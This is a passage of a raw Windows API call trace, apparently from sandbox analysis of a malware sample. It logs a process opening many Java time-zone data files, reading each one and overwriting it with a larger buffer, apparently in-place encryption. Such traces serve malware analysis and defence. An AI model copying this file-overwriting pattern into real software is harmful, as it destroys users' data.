lpUsedDefaultChar=0x0) returned 14 [0050.966] ReadFile (in: hFile=0x1c4, lpBuffer=0x275b028, nNumberOfBytesToRead=0x314, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x2e0f2bc*=0x314, lpOverlapped=0x0) returned 1 [0050.967] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.967] WriteFile (in: hFile=0x1c4, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x89c, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2e0f2d0*=0x89c, lpOverlapped=0x0) returned 1 [0050.967] CloseHandle (hObject=0x1c4) returned 1 [0050.967] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santarem" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\santarem"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.968] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.968] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x131 [0050.968] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.968] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.968] ReleaseMutex (hMutex=0x128) returned 1 [0050.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Santarem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Santarem", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Santarem", lpUsedDefaultChar=0x0) returned 8 [0050.968] ReadFile (in: hFile=0x1c4, lpBuffer=0x262e478, nNumberOfBytesToRead=0x131, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x262e478*, lpNumberOfBytesRead=0x2e0f2bc*=0x131, lpOverlapped=0x0) returned 1 [0050.969] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.969] WriteFile (in: hFile=0x1c4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6b9, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2e0f2d0*=0x6b9, lpOverlapped=0x0) returned 1 [0050.969] CloseHandle (hObject=0x1c4) returned 1 [0050.969] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Thomas" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_thomas"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.970] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.970] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x41 [0050.970] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.970] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.970] ReleaseMutex (hMutex=0x128) returned 1 [0050.970] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="St_Thomas", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.970] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="St_Thomas", cchWideChar=9, lpMultiByteStr=0x1e630ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="St_Thomas", lpUsedDefaultChar=0x0) returned 9 [0050.970] ReadFile (in: hFile=0x1c4, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2e0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0050.971] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.971] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0050.971] CloseHandle (hObject=0x1c4) returned 1 [0050.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Whitehorse" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\whitehorse"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.971] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.971] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x454 [0050.972] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.972] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.972] ReleaseMutex (hMutex=0x128) returned 1 [0050.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Whitehorse", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Whitehorse", cchWideChar=10, lpMultiByteStr=0x1e6306c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Whitehorse", lpUsedDefaultChar=0x0) returned 10 [0050.972] ReadFile (in: hFile=0x1c4, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x454, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x2e0f2bc*=0x454, lpOverlapped=0x0) returned 1 [0050.974] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.975] WriteFile (in: hFile=0x1c4, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x9dc, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x9dc, lpOverlapped=0x0) returned 1 [0050.975] CloseHandle (hObject=0x1c4) returned 1 [0050.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Palmer" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\palmer"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.975] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.975] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x450 [0050.975] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.975] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.975] ReleaseMutex (hMutex=0x128) returned 1 [0050.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Palmer", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Palmer", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Palmer", lpUsedDefaultChar=0x0) returned 6 [0050.976] ReadFile (in: hFile=0x1c4, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x450, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x2e0f2bc*=0x450, lpOverlapped=0x0) returned 1 [0050.977] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.977] WriteFile (in: hFile=0x1c4, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x9d8, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x9d8, lpOverlapped=0x0) returned 1 [0050.978] CloseHandle (hObject=0x1c4) returned 1 [0050.978] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ashgabat" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\ashgabat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.978] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.978] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x10d [0050.978] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.978] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.978] ReleaseMutex (hMutex=0x128) returned 1 [0050.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ashgabat", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ashgabat", cchWideChar=8, lpMultiByteStr=0x1e630ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ashgabat", lpUsedDefaultChar=0x0) returned 8 [0050.978] ReadFile (in: hFile=0x1c4, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x10d, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x2e0f2bc*=0x10d, lpOverlapped=0x0) returned 1 [0050.979] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.979] WriteFile (in: hFile=0x1c4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x695, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2e0f2d0*=0x695, lpOverlapped=0x0) returned 1 [0050.979] CloseHandle (hObject=0x1c4) returned 1 [0050.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Colombo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\colombo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.980] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.980] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x81 [0050.980] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.980] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.980] ReleaseMutex (hMutex=0x128) returned 1 [0050.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Colombo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Colombo", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Colombo", lpUsedDefaultChar=0x0) returned 7 [0050.980] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e27028, nNumberOfBytesToRead=0x81, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e27028*, lpNumberOfBytesRead=0x2e0f2bc*=0x81, lpOverlapped=0x0) returned 1 [0050.981] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.981] WriteFile (in: hFile=0x1c4, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x609, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x2e0f2d0*=0x609, lpOverlapped=0x0) returned 1 [0050.981] CloseHandle (hObject=0x1c4) returned 1 [0050.981] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hovd" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\hovd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.982] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.982] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1b5 [0050.982] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.982] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.982] ReleaseMutex (hMutex=0x128) returned 1 [0050.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hovd", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0050.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hovd", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hovd", lpUsedDefaultChar=0x0) returned 4 [0050.982] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1b5, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x2e0f2bc*=0x1b5, lpOverlapped=0x0) returned 1 [0050.983] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.983] WriteFile (in: hFile=0x1c4, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x73d, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x73d, lpOverlapped=0x0) returned 1 [0050.983] CloseHandle (hObject=0x1c4) returned 1 [0050.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kathmandu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kathmandu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.984] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.984] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4d [0050.984] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.984] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.984] ReleaseMutex (hMutex=0x128) returned 1 [0050.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kathmandu", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kathmandu", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kathmandu", lpUsedDefaultChar=0x0) returned 9 [0050.984] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e8f408, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f408*, lpNumberOfBytesRead=0x2e0f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0050.985] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.985] WriteFile (in: hFile=0x1c4, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0050.985] CloseHandle (hObject=0x1c4) returned 1 [0050.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Manila" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\manila"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.985] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.986] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7d [0050.986] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.986] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.986] ReleaseMutex (hMutex=0x128) returned 1 [0050.986] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Manila", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.986] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Manila", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Manila", lpUsedDefaultChar=0x0) returned 6 [0050.986] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e27028, nNumberOfBytesToRead=0x7d, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e27028*, lpNumberOfBytesRead=0x2e0f2bc*=0x7d, lpOverlapped=0x0) returned 1 [0050.987] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.987] WriteFile (in: hFile=0x1c4, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x605, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x2e0f2d0*=0x605, lpOverlapped=0x0) returned 1 [0050.987] CloseHandle (hObject=0x1c4) returned 1 [0050.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qatar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\qatar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0052.826] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0052.826] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4d [0052.827] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0052.827] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.827] ReleaseMutex (hMutex=0x128) returned 1 [0052.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Qatar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0052.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Qatar", cchWideChar=5, lpMultiByteStr=0x1e6aa5c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Qatar", lpUsedDefaultChar=0x0) returned 5 [0052.827] ReadFile (in: hFile=0x1a0, lpBuffer=0x1e8f3a8, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f3a8*, lpNumberOfBytesRead=0x2e0f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0052.828] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0052.828] WriteFile (in: hFile=0x1a0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0052.828] CloseHandle (hObject=0x1a0) returned 1 [0052.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Shanghai" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\shanghai"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0053.809] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0053.809] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xc9 [0053.809] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0053.820] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.820] ReleaseMutex (hMutex=0x128) returned 1 [0053.820] WideCharToMultiByte (in: CodePage=0xfde9, 